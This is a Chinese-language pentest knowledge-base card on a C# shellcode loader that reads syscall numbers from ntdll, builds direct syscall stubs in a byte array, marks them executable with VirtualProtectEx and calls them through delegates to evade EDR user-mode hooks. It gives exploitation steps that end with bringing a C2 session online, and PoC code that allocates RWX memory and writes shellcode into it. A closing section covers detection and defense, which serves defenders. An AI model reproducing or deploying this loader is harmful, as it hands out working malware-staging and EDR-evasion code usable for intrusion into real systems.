♧ Godown 安全知识树

C# SysCall ShellcodeLoader:ReadProcessMemory 读 ntdll stub+4 取 SSN,拼接 syscall 字节数组 + VirtualProtectEx + 委托调用绕过 API Hook

pentest/c2 · verified

一句话结论

C# ShellcodeLoader 用 GetModuleHandle/GetProcAddress 定位 ntdll 目标函数,ReadProcessMemory 从函数 stub 偏移 +4 读出 4 字节 SSN,把 mov r10,rcx; mov eax,SSN; syscall; ret 拼成字节数组,用 VirtualProtectEx 把该数组所在页改为 RWX,再经 Marshal.GetDelegateForFunctionPointer 转成委托直接调用,从而以纯托管代码完成 NtAllocateVirtualMemory/NtCreateThreadEx 等调用,绕过 EDR 对 ntdll 导出函数的用户态 inline hook。

原理

  • ntdll stub 结构:x64 下每个 NT 系统调用导出函数的开头通常是 4c 8b d1(mov r10, rcx)+ b8 XX XX XX XX(mov eax, SSN)+ 0f 05(syscall)+ c3(ret)。SSN 就在函数起始 +4 处的 4 字节立即数。
  • 动态取号:GetModuleHandle("ntdll.dll") + GetProcAddress(name) 拿到函数地址后,ReadProcessMemory(GetCurrentProcess(), FuncAddr + 4, ...) 读出 SSN,避免按 Windows 版本硬编码(不同版本/补丁 SSN 不同)。
  • 自拼 stub:用 SYSbyte1(mov r10,rcx; mov eax, 前缀)+ SSN 字节 + SYSbyte2(syscall; ret 等后缀)拼出完整机器码。因为 stub 位于托管数组(托管堆/栈),先用 VirtualProtectEx 把包含它的内存页改成 PAGE_EXECUTE_READWRITE,否则执行会触发 DEP。
  • 委托即函数指针:Marshal.GetDelegateForFunctionPointer(addr, typeof(委托类型)) 把机器码地址封送成与 NT 函数签名一致的委托,直接调用——调用方不需要 DllImport 声明该 API,IAT 中没有对应导入项。
  • 为什么能绕过 hook:EDR 的 inline hook 写在 ntdll 导出函数入口;本链不执行被 hook 的入口指令,而是在自己的内存里执行等价 syscall 序列,直接进入内核。API 监控/导入表检测看到的是 ReadProcessMemory/VirtualProtectEx 等普通调用,没有 NtAllocateVirtualMemory 的常规调用路径。
  • 局限:
  • 若 EDR 的 hook 改写了函数入口前 5 字节,+4 处的 SSN 可能已被破坏(此时应改用磁盘干净 ntdll、KnownDlls 或邻居 stub 扫描恢复 SSN)。
  • VirtualProtectEx 把整个页改为 RWX 本身是一个显眼行为;且 syscall 指令不在 ntdll 页内,可被"syscall 执行地址不在 ntdll"规则检测(需要间接 syscall/调用栈欺骗缓解)。
  • 只绕用户态 hook,不绕内核回调、ETW、AMSI、内存扫描。

触发条件

  • Windows x64,目标 EDR/AV 在 ntdll 导出函数做用户态 inline hook。
  • 进程内可执行 .NET 代码(恶意程序集、反射加载的 DLL、宏等),C# 项目允许 unsafe。
  • 目标函数 stub 未被 hook 破坏 +4 处的 SSN(或攻击者改用干净副本解析)。
  • 进程有权限执行对应 NT 调用(分配/写内存/创建线程等)。
  • 目标未启用会阻止非模块内存执行的缓解(CFG/CET/ACG)或 EDR 未对其告警。

利用步骤

  1. 用 GetModuleHandle("ntdll.dll")/GetProcAddress 定位 NtAllocateVirtualMemory、NtCreateThreadEx 等函数。
  2. 对每个函数 ReadProcessMemory(GetCurrentProcess(), FuncAddr + 4, buf, 4, ...) 读取 SSN。
  3. 拼接 stub 字节:前缀(mov r10,rcx; mov eax,)+ SSN + 后缀(syscall; ret)。
  4. VirtualProtectEx(GetCurrentProcess(), stubAddr, stubLen, PAGE_EXECUTE_READWRITE, out old) 赋予执行权限。
  5. Marshal.GetDelegateForFunctionPointer(stubAddr, typeof(NtAllocateVirtualMemory)) 转委托,调用分配 MEM_COMMIT|MEM_RESERVE、PAGE_EXECUTE_READWRITE 内存。
  6. Marshal.Copy(shellcode, 0, pMemory, len) 写入 shellcode,再用同样方式构造 NtCreateThreadEx stub 创建线程执行。
  7. 上线 C2;按需恢复页保护、清理 stub 与 shellcode 内存。

PoC

// 取 SSN(与原文 Auto_NativeCode.GetSyscallID 同构)
public static uint GetSyscallID(string sysFunName)
{
    IntPtr mem = Marshal.AllocHGlobal(4);
    IntPtr hNtdll = GetModuleHandle("ntdll.dll");
    IntPtr funAddr = GetProcAddress(hNtdll, sysFunName);
    ReadProcessMemory(GetCurrentProcess(), funAddr + 4, mem, 4, out _);
    uint ssn = (uint)Marshal.ReadInt32(mem);
    Marshal.FreeHGlobal(mem);
    return ssn;
}

// 拼接并执行 syscall stub(SYSbyte1 = 4C 8B D1 B8,SYSbyte2 = 0F 05 C3)
uint ssn = GetSyscallID("NtAllocateVirtualMemory");
byte[] stub = new byte[] { 0x4C, 0x8B, 0xD1, 0xB8,
                           (byte)ssn, 0x00, 0x00, 0x00,
                           0x0F, 0x05, 0xC3 };
unsafe
{
    fixed (byte* p = stub)
    {
        VirtualProtectEx(Process.GetCurrentProcess().Handle, (IntPtr)p, (UIntPtr)stub.Length,
                         PAGE_EXECUTE_READWRITE, out _);
        var ntAlloc = (DelegatesStruct.NtAllocateVirtualMemory)Marshal
            .GetDelegateForFunctionPointer((IntPtr)p, typeof(DelegatesStruct.NtAllocateVirtualMemory));
        ntAlloc(GetCurrentProcess(), ref baseAddr, IntPtr.Zero, ref regionSize,
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    }
}
Marshal.Copy(shellcode, 0, baseAddr, shellcode.Length);
// 再用同样方式构造 NtCreateThreadEx stub 创建线程

说明:原文用 SYSbyte1/SYSbyte2 变量拼接并以 (byte)SyscallID 放入立即数;上述字节为其等价展开。原文以 SysCall 版 Loader 编译成 DLL 后经 PowerShell 反射加载执行,成功上线 C2,Process Explorer 未见新进程。

变体与关联

  • SSN 来源变体:从磁盘 System32\ntdll.dll 映射干净副本解析([[pentest-c2-indirect-syscall-ntdll-hook-bypass]])、邻居 stub 扫描(Halo's Gate,[[pentest-c2-hells-gate-neighbor-ssn-recovery]])、导出表按地址排序(FreshyCalls,[[pentest-c2-freshycalls-export-sort-ssn]]);本卡用内存 ntdll +4 直读,最简单但对 hook 改写敏感。
  • stub 位置变体:把 stub 写进 CLR JIT 的 RWX 代码洞穴而不是改数组页保护([[pentest-c2-clr-jit-rwx-code-cave-shellcode-syscall-stub]])。
  • 间接 syscall 变体:stub 末尾改为 jmp qword ptr [ntdll syscall 地址],让 syscall/ret 落在 ntdll 内,消除"syscall 不在 ntdll"特征([[pentest-c2-indirect-syscall-jmp-ntdll-syscall-stub]])。
  • 同文关联:本卡与 [[pentest-c2-dinvoke-delegate-shellcode-loader-csharp]] 是同一篇研究的两种 ShellcodeLoader;两者都可编译成 .NET DLL 经 [[pentest-c2-app-whitelisting-powershell-assembly-unsafeloadfrom-dll]] 加载。
  • 边界:VirtualProtectEx 改页保护、ReadProcessMemory 读自身 ntdll 都是可观测行为;若 EDR 在入口 hook 长度超过 4 字节会破坏 SSN 读取。

检测与防御

  • 检测:进程内对自身 ntdll 代码段执行 ReadProcessMemory(读 SSN 特征);VirtualProtectEx 把非映像页改为 RWX;syscall 指令从非 ntdll 页执行、调用栈无合法 ntdll 帧;随后出现分配可执行内存、写 shellcode、创建线程的行为链。
  • 检测:ETW 托管事件中出现 Marshal.GetDelegateForFunctionPointer 指向非模块地址;内存扫描发现非模块可执行页与 syscall stub 字节模式(4C 8B D1 B8 ?? ?? ?? ?? 0F 05 C3)。
  • 防御:启用内核级遥测(进程/线程/内存回调、ETW Threat Intelligence)与调用栈完整性校验;不要只依赖 ntdll 用户态 hook;启用 CFG/CET/ACG 限制非模块代码执行。
  • 防御:对 VirtualProtectEx/ReadProcessMemory 的异常组合与高频自读行为做规则告警;限制不可信 .NET 程序集与 unsafe 代码执行;高价值进程启用更严格的 EDR 策略与内存扫描。